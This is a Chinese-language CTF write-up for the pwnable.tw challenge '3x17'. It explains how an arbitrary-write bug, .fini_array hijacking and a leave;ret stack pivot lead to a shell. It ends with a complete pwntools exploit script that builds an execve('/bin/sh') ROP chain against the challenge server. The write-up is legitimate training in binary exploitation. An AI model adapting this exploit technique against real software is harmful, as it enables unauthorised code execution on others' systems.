抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

尽管 pwnable.tw已经很久没更新新题,这上面的题目放到现在对我而言也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 fini_array hijack,因此记录一下。

预分析

checksec 结果:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

file 结果:

1
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
  • PIE 未启用:不用泄露程序基地址
  • canary 未启用:如果有栈溢出可以直接利用
  • 静态链接:没有 libc

程序功能分析

1
2
3
4
5
6
7
8
9
if ( byte_4B9330 == 1 )
{
write_func(1u, "addr:", 5uLL);
read_func(0, buf, 0x18uLL);
v4 = (char *)(int)bytes_to_addr(buf);
write_func(1u, "data:", 5uLL);
read_func(0, v4, 0x18uLL);
result = 0;
}

程序很直接地提供了一次任意地址写的机会,又称 Write What Where (WWW) 。不过我们没有栈空间地址泄露,因此暂时无法直接利用栈来直接控制代码流。

GOT 表劫持?没有 system 函数。但是 Partial RELRO 可不仅仅意味着可以利用 GOT 表劫持,也意味着可以使用 fini_array 劫持

.fini_array

.fini_array 是什么?简单来说,它是一个函数指针数组,一旦程序退出就会运行其中的函数,不过是按倒序方式,例如先运行 .fini_array[1] 再运行 .fini_array[0] 。只要我们能覆写该数组中的函数指针,我们就能劫持代码流。

无限循环

很多时候题目(例如这题)中的漏洞指利用一次是不够我们 capture the flag 的,因此我们需要达到漏洞的重复利用。以这题为例,我们可以构造:.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main

  1. 当程序退出时,先执行 main 函数,任意写包含于其中(尽管会检查0x4B9330地址处是否为1,但其类型为 byte/uint8,因此1+16 == 1,我们不必担心)。
  2. 然后执行 __libc_csu_fini 函数。该函数的作用就是调用所有 .fini_array 中的函数,于是回到步骤1。因此形成了无限循环。

如何定位.fini_array__libc_csu_fini 的地址?

1
readelf -S ./3x17 | grep .fini_array

-S 可以显示各个段的 header 。

start 函数中找到:

1
2
3
4
5
6
7
8
9
sub_401EB0(
(unsigned int)main,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_4028D0,
(unsigned int)sub_402960,
a3,
(__int64)&v5);
__halt();
# in the `start`, there is a `_libc_start_main`
# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`

根据经验sub_401EB0__libc_start_main,而__libc_start_main 的第 4 和第 5 个参数分别是 __libc_csu_init__libc_csu_fini

ROP

我们现在拥有了无限次任意地址写的机会,也知道如何利用 .fini_array 来劫持代码流,接下来做什么?

首先,静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 syscall 的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。

我们需要将 ROP chain 放到栈上去。__libc_csu_fini 函数为我们创造了条件:

1
2
3
4
5
push    rbp
lea rax, unk_4B4100
lea rbp, off_4B40F0
push rbx
...

以上是 __libc_csu_fini 函数的开头,其中lea rbp, off_4B40F0中的0x4B40F0就是 .fini_array 的起始地址。换言之,在运行完 __libc_csu_fini 函数后,rbp 的值为 .fini_array 的起始地址。接下来只要利用 leave ; ret 就可以让返回地址为 fini_array + 0x8。因为 leave == mov rsp, rbp ; pop rbp

  1. mov rsp, rbp : rsp = rbp = .fini_array
  2. pop rbp : rbp = .fini_array[0], rsp = .fini_array + 0x8
  3. ret : rip = rsp = .fini_array + 0x8

因此只要令.fini_array[0] 处为leave ; ret gadget 的地址,且从.fini_array + 0x8 开始为 ROP chain 即可 get shell 。

exploit

由于只是一道 150 分的题,根据 pwnable.tw 的规则可以公开代码用于参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

from pwn import *

exe = ELF("./3x17")

context.binary = exe

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("chall.pwnable.tw", 10105)

return r

def www(r,addr,data):
r.sendafter(b"addr:",str(addr).encode())
r.sendafter(b"data:",data)


def main():
args.LOCAL = False
r = conn()
# `readelf -S ./3x17` to find the addr of .fini_array
# in the `start`, there is a `__libc_start_main`
# the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`

fini_array = 0x4b40f0
libc_csu_fini = 0x402960
main = 0x401b6d
leave_ret_addr = 0x401c4b
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
syscall = 0x4022b4

# stage1: eternal loop
www(r,fini_array,flat(libc_csu_fini,main))

# stage2: rop chain
www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
www(r, fini_array, flat(leave_ret_addr, pop_rdi))

r.interactive()

if __name__ == "__main__":
main()

评论